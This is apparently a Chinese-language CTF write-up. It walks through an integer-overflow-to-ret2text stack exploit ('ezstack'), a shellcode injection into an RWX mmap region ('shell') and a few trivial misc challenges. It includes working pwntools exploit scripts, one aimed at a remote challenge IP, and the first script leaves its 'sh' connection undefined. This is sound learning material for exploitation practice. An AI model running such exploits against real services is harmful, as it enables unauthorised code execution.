一.第一题简单nc
这题直接nc 地址端口即可得到flags没有套路
二.第二题pwn:ezstack
这是一题栈溢出题目,查看保护:
没有开启PIE,运行下查看效果:
题目是一个文字购物游戏。
接着扔进IDA中分析:
在主函数中我们找到了一个类似隐藏的函数:
这个v6参数就是我们输入想要输入的选项,而Vipfun这一后门函数的参数v8就是我们的金币数,一开始我懵了好久。查看Vipfun这个函数:
通过分析看到当金币大于999999的时候,就会执行条件语句,在条件语句里,很明显的看出栈溢出漏洞。而且在IDA中发现了一个后门函数:
、
那么利用就简单了,我们只需要想办法让金币大于9999999就能造成栈溢出并成功构造一次ret2text,现在关键问题是如何让金币达到9999999呢,在题目游戏中选项3捡垃圾一次是10块钱,不得不说出题人很会玩。这捡垃圾捡到猴年马月去了。我们再看代码:
v4,v8都是无符号整形,那么如果我输入负数,就会造成整形溢出。我们在游戏中测试一下,v4其实是我们买饮料的数量:
我们可以看到,通过整形溢出我们成功让金币大于999999,此时执行1337将进入栈溢出函数
下面是exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
#sh = process('./ezstack')
#gdb.attach(sh,'start')
system_addr=0x400aa1
#sh_addr=
sh.recvuntil("天台")
sh.sendline("1")
sh.recvuntil(" (价格: 3元)")
sh.sendline("1")
sh.recvuntil("购买数量: ")
sh.sendline("-99999999")
sh.recvuntil("天台")
sh.sendline("1337")
sh.recvuntil("请输入工厂名字:")
#gdb.attach(sh)
#sh.send(p64(payload))
sh.sendline('A' * (0x20+8) + p64(system_addr))
#pause()
sh.interactive()
三.第三题 pwn:shell
查看保护:
64位程序没有开启PIE,IDA中东西也比较少,基本都是系统函数,主函数如下:
根据题目名字猜测,是要我们在某个地址执行shellcode。mmap这个函数的作用是将文件映射进内存。在第三个参数中,表示的是权限。可读可写可执行。1+2+4加起来刚好是7,这么说Mmap返回的地址是一块可读可写可执行的区域。那么我们直接输入shellcode就好了。在pwntool中已经集成了shellcode,我们直接调用即可,exp如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(os='linux',arch='amd64',terminal=['tmux','sp','-h'])
io = remote("121.40.144.254",10003)
shellcode1=shellcraft.sh()
payload1=asm(shellcode1)
io.send(payload1)
io.interactive()
四,是一个UAF堆,打本地的时候想岔了没做出来,晚点在复盘。
杂项:
1.做了一题很简单元神启动,题目中描述1+1等于几,我直接F12查看网页源代码得到出题人的1+1等于10,即可得到flags.
2.ezMD5
题目描述给了一个经过MD5转换和base64加密。用工具解密即可得到flags。
以上就是我大致做出来的wp。